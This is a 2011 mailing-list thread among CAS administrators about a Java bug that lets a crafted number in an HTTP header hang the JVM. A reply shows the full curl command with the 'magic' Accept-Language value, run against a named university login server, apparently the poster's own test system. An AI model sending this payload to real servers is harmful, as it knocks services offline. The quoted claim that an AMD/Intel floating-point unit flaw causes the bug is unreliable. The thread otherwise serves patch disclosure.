-> curl -vH "Accept-Language: en-us;q=2.2250738585072012e-308" 
http://lnxauth02d.shsu.edu:8080/sghe-cas/login
* About to connect() to lnxauth02d.shsu.edu port 8080
*   Trying 158.135.5.21... connected
* Connected to lnxauth02d.shsu.edu (158.135.5.21) port 8080
> GET /sghe-cas/login HTTP/1.1
> User-Agent: curl/7.15.5 (i386-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b 
> zlib/1.2.3 libidn/0.6.5
> Host: lnxauth02d.shsu.edu:8080
> Accept: */*
> Accept-Language: en-us;q=2.2250738585072012e-308
> 

It just hangs that curl until I ctrl-C - the JVM still works fine (I can log in 
to the box without any problems) using 1.6.0_22.

Rob Marti

> -----Original Message-----
> From: Robert Oschwald [mailto:[email protected]]
> Sent: Wednesday, February 09, 2011 7:45 AM
> To: [email protected]
> Cc: [email protected]
> Subject: [cas-user] Important! Critical bug in all Java versions
> 
> This is off topic but important to all CAS users.
> 
> There exists a remotely exploitable critical bug in Java which can lead to a
> complete crash of the JVM.
> Every admin is urged to immediately patch all Sun/Bea/Oracle Java Versions
> on their servers.
> 
> Main cause of the problem is a flaw in the AMD/Intel floating point unit.
> 
> JVM Patcher:
> https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-
> Site/en_US/-/USD/ViewProductDetail-Start?ProductRef=fpupdater-oth-
> JPR@CDS-CDS_Developer
> 
> 
> As noted above, every script kiddie can crash your remotely available java
> app by simply sending the magic string in the HTTP-HEADER (e.g. by using
> curl).
> 
> 
> Hope it helps.
> 
> Robert
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